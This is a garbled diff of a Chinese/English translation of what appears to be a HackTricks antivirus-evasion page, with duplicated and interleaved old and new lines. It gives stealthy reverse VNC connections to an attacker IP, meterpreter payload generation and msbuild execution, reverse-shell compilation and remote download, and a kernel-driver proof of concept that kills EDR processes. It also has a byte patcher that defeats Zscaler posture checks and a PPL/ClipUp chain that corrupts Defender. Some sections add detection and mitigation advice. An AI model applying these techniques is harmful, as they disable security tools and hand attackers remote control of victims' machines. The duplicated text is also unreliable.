从这里下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (你想要 the bin downloads, not the setup)
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
**ON THE HOST**: Execute _**winvnc.exe**_ and configure the server:
- 启用选项 _Disable TrayIcon_
- _VNC Password_ 设置密码
- _View-Only Password_ 设置密码
- _VNC Password_设置密码
- _View-Only Password_设置密码
然后,将二进制文件 _**winvnc.exe**_**新创建** 文件 _**UltraVNC.ini**_ 移动到 **victim**
然后,将二进制文件 _**winvnc.exe**_**新创建** 文件 _**UltraVNC.ini**_ 移动到 **victim**
#### **Reverse connection**
**attacker** 应该在他的 **host****execute inside** 二进制文件 `vncviewer.exe -listen 5900`,这样它将被 **prepared** 用来捕获反向 **VNC connection**。然后**victim** 内:启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
The **attacker** 应在其 **host** 上执行二进制 `vncviewer.exe -listen 5900`,以便准备捕获反向 **VNC connection**。然后,**victim** 内:启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**警告:** 为了保持隐蔽,你必须避免以下几件事
**WARNING:** 为保持隐蔽性,切勿执行以下操作
- 不要在 `winvnc` 已经运行时启动 `winvnc`,否则你会触发一个 [popup](https://i.imgur.com/1SROTTl.png)。通过 `tasklist | findstr winvnc` 检查它是否在运行
- 如果同一目录下没有 `UltraVNC.ini` 则不要启动 `winvnc`,否则会导致 [the config window](https://i.imgur.com/rfMQWcf.png) 弹出
- 不要在 winvnc 已在运行时启动 `winvnc`,否则会触发一个 [popup](https://i.imgur.com/1SROTTl.png)。用 `tasklist | findstr winvnc` 检查是否正在运行
- 不要在目录中没有 `UltraVNC.ini` 的情况下启动 `winvnc`,否则会导致 [the config window](https://i.imgur.com/rfMQWcf.png) 打开
- 不要运行 `winvnc -h` 获取帮助,否则会触发一个 [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
从这里下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -520,7 +558,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
在 GreatSCT 内部:
深入 GreatSCT
```
use 1
list #Listing available payloads
@ -530,11 +568,11 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
现在使用 `msfconsole -r file.rc` **start the lister**,并用下面的命令 **execute** the **xml payload**
现在 **启动 lister**,使用 `msfconsole -r file.rc`,并 **执行** **xml payload**
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**当前防护程序会很快终止该进程。**
**当前防护程序会非常快地终止该进程。**
### 编译我们自己的 reverse shell
@ -542,11 +580,11 @@ https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### 第一个 C# Revershell
使用以下命令编译:
用以下命令编译:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
一起使用:
一起使用:
```
back.exe <ATTACKER_IP> <PORT>
```
@ -643,7 +681,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# 混淆器列表: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# 混淆器列表 [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -687,30 +725,30 @@ https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### More
### 更多
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) 从内核空间终止 AV/EDR
## Bring Your Own Vulnerable Driver (BYOVD) Killing AV/EDR From Kernel Space
Storm-2603 利用一个名为 **Antivirus Terminator** 的小型控制台工具,在投放勒索软件之前禁用端点防护。该工具携带了它**自带的易受攻击但已*签名*的驱动程序**,并滥用它来发出特权内核操作,即使是 Protected-Process-Light (PPL) 的 AV 服务也无法阻止。
Storm-2603 利用一个名为 **Antivirus Terminator** 的小型控制台工具在投放勒索软件之前禁用终端防护。该工具携带其 **自带的易受攻击但已签名驱动**,并滥用它来发出有特权的内核操作,即使是 Protected-Process-Light (PPL) 的 AV 服务也无法阻止。
Key take-aways
1. **Signed driver**: 投放到磁盘的文件是 `ServiceMouse.sys`,但二进制实际上是 Antiy Labs “System In-Depth Analysis Toolkit” 中合法签名的驱动 `AToolsKrnl64.sys`。因为该驱动带有有效的 Microsoft 签名,即使启用了 Driver-Signature-Enforcement (DSE) 也会被加载。
2. **Service installation**:
关键要点
1. **已签名驱动**:写入磁盘的文件是 `ServiceMouse.sys`,但二进制实际上是来自 Antiy Labs “System In-Depth Analysis Toolkit” 的合法签名驱动 `AToolsKrnl64.sys`。因为该驱动带有有效的 Microsoft 签名,即使启用了 Driver-Signature-Enforcement (DSE) 也会被加载。
2. **服务安装**
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
第一行将驱动注册为 **kernel service**,第二行启动它,从而使 `\\.\ServiceMouse` 可从用户态访问。
3. **IOCTLs exposed by the driver**
| IOCTL code | Capability |
|-----------:|-----------------------------------------|
第一行将驱动注册为 **kernel service**,第二行启动它,使 `\\.\ServiceMouse` 可从用户态访问。
3. **驱动暴露的 IOCTLs**
| IOCTL code | 能力 |
|-----------:|------|
| `0x99000050` | 通过 PID 终止任意进程(用于终止 Defender/EDR 服务) |
| `0x990000D0` | 删除磁盘上的任意文件 |
| `0x990001D0` | 卸载驱动并移除服务 |
Minimal C proof-of-concept:
最小 C 概念证明:
```c
#include <windows.h>
@ -722,30 +760,30 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Why it works**: BYOVD 完全绕过了用户态保护;在内核中执行的代码可以打开 *protected* 进程、终止它们或篡改内核对象,而不受 PPL/PP、ELAM 或其他加固特性的限制。
4. **为什么可行**BYOVD 完全绕过用户模式防护;在内核执行的代码可以打开 *protected* 进程、终止它们或篡改内核对象,而不受 PPL/PP、ELAM 或其他加固功能的限制。
Detection / Mitigation
启用 Microsoft 的易受攻击驱动阻止列表(`HVCI``Smart App Control`),以便 Windows 拒绝加载 `AToolsKrnl64.sys`
监视新的 *kernel* 服务创建,并在驱动从可被全局写入的目录加载或不在允许列表中时发出告警。
监控是否存在对自定义设备对象的用户态句柄,随后出现可疑的 `DeviceIoControl` 调用。
检测 / 缓解
启用 Microsoft 的 vulnerable-driver block list`HVCI`, `Smart App Control`)以使 Windows 拒绝加载 `AToolsKrnl64.sys`
监控新 *kernel* 服务的创建,并在驱动从可被全体写入的目录加载或不在允许列表时发出告警。
监视对自定义 device 对象的用户态句柄随后发出的可疑 `DeviceIoControl` 调用。
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscalers **Client Connector** 在本地应用设备姿态规则,并依赖 Windows RPC 将结果传达给其他组件。两个设计缺陷使得完全绕过成为可能:
Zscaler**Client Connector** 在本地应用 device-posture 规则,并依赖 Windows RPC 将结果与其他组件通信。两个设计上的薄弱点使得完全绕过成为可能:
1. 姿态评估**完全在客户端**进行(仅向服务器发送一个布尔值)。
2. 内部 RPC 端点只验证连接的可执行文件是否由 **Zscaler 签名**(通过 `WinVerifyTrust`)。
1. Posture 评估完全在 **客户端** 进行(只向服务器发送一个布尔值)。
2. 内部 RPC 端点仅验证连接的可执行文件是否由 Zscaler 签名(通过 `WinVerifyTrust`)。
通过在磁盘上对四个已签名二进制进行**补丁**,这两种机制都可以被中和:
通过 **修补磁盘上的四个已签名二进制文件**,这两种机制都可以被中和:
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 始终返回 `1`使每次检查通过 |
| `ZSAService.exe` | 间接调用`WinVerifyTrust` | 被 NOP 处理 ⇒ 任何(甚至未签名的)进程都可以绑定到 RPC 管道 |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | 替换为 `mov eax,1 ; ret` |
| `ZSATunnel.exe` | 对隧道的完整性检查 | 被短路 |
| Binary | 被修改的原始逻辑 | 结果 |
|--------|------------------|------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | 始终返回 `1`因此每次检查都被视为合规 |
| `ZSAService.exe` | 间接调用 `WinVerifyTrust` | 被 NOP 替换 ⇒ 任何(甚至未签名的)进程都可以绑定到 RPC 管道 |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | 替换为 `mov eax,1 ; ret` |
| `ZSATunnel.exe` | 对 tunnel 的完整性检查 | 被短路处理 |
Minimal patcher excerpt:
最小 patcher 摘要:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
@ -759,22 +797,22 @@ else:
f.seek(off)
f.write(replacement)
```
替换原始文件并重启服务栈后:
替换原始文件并重启服务栈后:
* **所有**检查显示 **绿色/合规**
* **所有** 姿态检查显示 **绿色/合规**
* 未签名或被修改的二进制可以打开命名管道 RPC 端点(例如 `\\RPC Control\\ZSATrayManager_talk_to_me`)。
* 已被妥协的主机将获得由 Zscaler 策略定义的内部网络的不受限制访问
* 被攻陷的主机能够不受限制地访问由 Zscaler 策略定义的内部网络
本案例展示了如何通过少量字节修补,击败纯客户端的信任决策和简单的签名校验
本案例展示了如何通过少量字节补丁绕过纯客户端信任决策和简单签名检查
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
## 利用 Protected Process Light (PPL) 和 LOLBINs 篡改 AV/EDR
Protected Process Light (PPL) 强制执行签名者/级别层级,只有相同或更高的受保护进程才能相互篡改。进攻上,如果你能够合法地启动一个启用了 PPL 的二进制并控制其参数,你可以将良性功能(例如日志记录)转换为针对 AV/EDR 使用的受保护目录的受限、由 PPL 支持的写原语
Protected Process Light (PPL) 实施签名者/级别层级,只有相同或更高级别的受保护进程才能相互篡改。从进攻角度看,如果你能合法启动一个启用 PPL 的二进制并控制其参数,就可以将良性功能(例如日志记录)转换为一个受限的、由 PPL 支持的写原语,针对 AV/EDR 使用的受保护目录。
What makes a process run as PPL
- 目标 EXE以及任何加载的 DLLs必须使用具备 PPL 能力的 EKU 签名。
- 进程必须使用 CreateProcess 创建,并使用标志:`EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`
- 必须请求与二进制签名者匹配的兼容保护级别(例如,对 anti-malware 签名者使用 `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`,对 Windows 签名者使用 `PROTECTION_LEVEL_WINDOWS`)。错误的级别将在创建时失败。
- 目标 EXE及任何加载的 DLLs必须使用支持 PPL 的 EKU 签名。
- 该进程必须使用 CreateProcess 创建,并带有以下标志:`EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`
- 必须请求与二进制签名者相匹配的兼容保护级别(例如,对防恶意软件签名者使用 `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`,对 Windows 签名者使用 `PROTECTION_LEVEL_WINDOWS`)。错误的级别将在创建时失败。
See also a broader intro to PP/PPL and LSASS protection here:
@ -782,10 +820,10 @@ See also a broader intro to PP/PPL and LSASS protection here:
stealing-credentials/credentials-protections.md
{{#endref}}
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
启动工具
- 开源辅助工具CreateProcessAsPPL选择保护级别并将参数转发到目标 EXE
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Usage pattern:
- 使用模式:
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -794,18 +832,18 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitive: ClipUp.exe
- 签名的系统二进制文件 `C:\Windows\System32\ClipUp.exe` 会自我产生子进程,并接受一个参数,将日志文件写入调用者指定的路径。
- 签名的系统二进制文件 `C:\Windows\System32\ClipUp.exe` 会自我派生进程,并接受一个参数,将日志文件写入调用者指定的路径。
- 当以 PPL 进程启动时,文件写入会带有 PPL 支持。
- ClipUp 无法解析包含空格的路径;使用 8.3 短路径指向通常受保护的位置
- ClipUp 无法解析包含空格的路径;在指向通常受保护的位置时使用 8.3 短路径
8.3 short path helpers
- 列出短名:在每个父目录中运行 `dir /x`
- 在 cmd 中派生短路径:`for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
- 列出短名:在每个父目录中运行 `dir /x`
- 在 cmd 中推导短路径:`for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) 使用启动器(例如 CreateProcessAsPPL通过 `CREATE_PROTECTED_PROCESS` 启动支持 PPL 的 LOLBINClipUp
2) 传递 ClipUp 的日志路径参数,强制在受保护的 AV 目录中创建文件(例如 Defender Platform。如有必要,使用 8.3 短名称。
3) 如果目标二进制文件在运行时通常被 AV 打开/锁定(例如 MsMpEng.exe则通过安装一个能够更早可靠运行的自启动服务,在 AV 启动之前安排在引导时写入。使用 Process Monitorboot logging验证引导顺序。
1) 使用一个 launcher例如 CreateProcessAsPPL`CREATE_PROTECTED_PROCESS` 启动支持 PPL 的 LOLBIN (ClipUp)
2) 将 ClipUp 的 log-path 参数传递给它,以强制在受保护的 AV 目录中创建文件(例如 Defender Platform。如有需要,使用 8.3 短名称。
3) 如果目标二进制文件在运行时通常被 AV 打开/锁定(例如 MsMpEng.exe通过安装一个能更早可靠运行的自动启动服务,在 AV 启动前安排在启动时写入。使用 Process Monitorboot logging验证启动顺序。
4) 重启后,带有 PPL 支持的写入会在 AV 锁定其二进制文件之前发生,导致目标文件损坏并阻止其启动。
Example invocation (paths redacted/shortened for safety):
@ -813,22 +851,22 @@ Example invocation (paths redacted/shortened for safety):
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
注意限制
- 除了放置位置外,无法控制 ClipUp 写入的内容;该 primitive 更适合用于破坏而非精确的内容注入。
- 需要本地 admin/SYSTEM 权限来安装/启动服务并需要重启窗口。
- 时间控制很关键:目标不得被打开;在引导时执行可避免文件锁定。
注意事项和限制
- 你无法控制 ClipUp 写入内容的具体内容,除了放置位置;该 primitive 更适合用于破坏而非精确的内容注入。
- 需要本地 admin/SYSTEM 权限来安装/启动服务并需要一次重启窗口。
- 时序至关重要:目标必须未被打开;引导时执行可以避免文件锁定。
检测
- 在引导期间,注意使用异常参数创建 `ClipUp.exe` 的进程,尤其是由非标准启动器作为父进程时。
- 新服务被配置为自动启动可疑二进制并持续在 Defender/AV 之前启动。调查在 Defender 启动失败之前的服务创建/修改。
- 对 Defender 二进制/Platform 目录进行文件完整性监控;注意带有 protected-process 标志的进程异常创建/修改文件。
- ETW/EDR 遥测:查找使用 `CREATE_PROTECTED_PROCESS` 创建的进程,以及非-AV 二进制异常使用 PPL 等级的情况。
- Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot.
- New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures.
- File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags.
- ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries.
缓解措施
- WDAC/Code Integrity限制哪些签名二进制可以以 PPL 运行以及允许的父进程;阻止 ClipUp 在非合法上下文中被调用。
- Service hygiene限制对自动启动服务的创建/修改,并监控启动顺序的篡改
- 确保 Defender tamper protection 和 early-launch protections 已启用;调查指示二进制被损坏的启动错误。
- 如果与你的环境兼容(请充分测试),考虑在托管安全工具的卷上禁用 8.3 short-name generation
- WDAC/Code Integrity限制哪些签名二进制可以作为 PPL 运行以及它们的父进程;阻止 ClipUp 在非合法上下文中的调用。
- 服务管理:限制自动启动服务的创建/修改并监控启动顺序被篡改的情况
- 确保启用 Defender tamper protection 和 early-launch protections;调查指示二进制被篡改的启动错误。
- 如果与环境兼容,考虑在承载安全工具的卷上禁用 8.3 short-name 生成(请充分测试)
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
@ -837,7 +875,7 @@ References for PPL and tooling
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## References
## 参考资料
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
@ -851,4 +889,6 @@ References for PPL and tooling
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [Check Point Research Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}